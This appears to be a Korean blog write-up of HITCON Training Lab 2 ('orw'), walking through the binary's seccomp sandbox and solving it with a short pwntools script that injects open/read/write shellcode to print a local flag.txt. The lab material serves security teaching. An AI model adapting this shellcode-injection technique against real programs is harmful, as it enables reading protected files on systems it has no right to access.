tmxklab
hitcon training [LAB 2] 본문
1. 문제
1) mitigation 확인(orw.bin)
2) 문제 확인(orw.bin)
2-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 200u);
((void (*)(void))shellcode)();
return 0;
}
-
orw_seccomp()를 호출하고 shellcode변수에 입력 값을 받아 shellcode를 실행시킴 → shellcode변수에 쉘 코드 저장시켜서 실행시키는 듯
2-2) orw_seccomp함수
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]
char *v2; // [esp+8h] [ebp-80h]
char v3; // [esp+Ch] [ebp-7Ch]
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
-
prctl함수를 통해 seccomp기능을 사용할 수 있음
-
seccomp(secure computing mode)는 이전에 pzshell에서도 봤듯이 리눅스에서 샌드박스 기반으로 system call을 제한시키는 기능을 수행
-
2. 접근 방법
1) prctl()
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
seccomp은 두 가지 모드를 사용할 수 있는데 이러한 모드를 결정하는 것은 option인자이다.
-
SECCOMP_SET_MODE_STRICT
-
read, write, exit, sigreturn 4가지의 syscall만을 사용할 수 있는 모드이며 허용되지 않은 syscall이 호출될 경우 sigkill을 받고 종료
-
-
SECCOMP_SET_MODE_FILTER
-
BPF(Berkeley Packet Filter)라는 필터식을 이용하여 system call을 관리하는 모드이며 각 syscall별로 동작을 설정 가능
-
BPF는 커널에서 네트워크 패킷을 필터링할 때 사용하는 VM, syscall 필터링할 때도 쓰인다.
-
prctl참고 )
prctl함수를 통해 seccomp기능이 작동하여 사용할 수 있는 syscall을 제한하였다. → exit(%eax=1), read(%eax=3), write(%eax=4), open(%eax=5)를 제외한 syscall을 발생할 경우 sigkill발생
따라서, 임의로 flag.txt파일을 작성하여 flag.txt를 open하고 flag.txt의 내용을 read(스택에 저장)하여 화면에 write(출력)하는 것을 목표로 한다.
3. 풀이
1) shellcraft를 이용하여 shellcode제작
참고 : http://docs.pwntools.com/en/stable/shellcraft/i386.html#module-pwnlib.shellcraft.i386
사용할 syscall은 open, read, write 총 3가지이다.
먼저, open하여 파일이 성공적으로 open되는지랑 fd값을 확인
-
flag.txt파일을 open성공하여 fd값이 eax에 0x3으로 설정
fd값을 알았으니 이제 read(3, buf, nbytes)를 사용하여 buf에 저장하고 write(1, buf, nbytes)를 사용하여 화면에 출력하면 된다.
2) 익스 코드
from pwn import *
context(log_level="debug", arch="i386", os="linux")
p = process("./orw.bin")
shellcode = asm(shellcraft.i386.open("./flag.txt"))
shellcode += asm(shellcraft.i386.read(3, "esp", 30))
shellcode += asm(shellcraft.i386.write(1, "esp", 30))
p.sendafter(":", shellcode)
p.interactive()
3) 공격 실행
4. 몰랐던 내용
1) x86 syscall → int 0x80
x86에서는 syscall을 사용하는 쉘 코드를 작성할 때 syscall 대신에 int 0x80을 사용하여 인터럽트를 일으킴
2) system call table (x64, x86)
x64와 x86에서 system call table이 조금씩 차이가 있다.
-
x64 system call table
-
x86 system call table
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 6] (0) | 2020.07.19 |
---|---|
hitcon training [LAB 5] (0) | 2020.07.19 |
hitcon training [LAB 4] (0) | 2020.07.19 |
hitcon training [LAB 3] (0) | 2020.07.19 |
hitcon training [LAB 1] (0) | 2020.07.19 |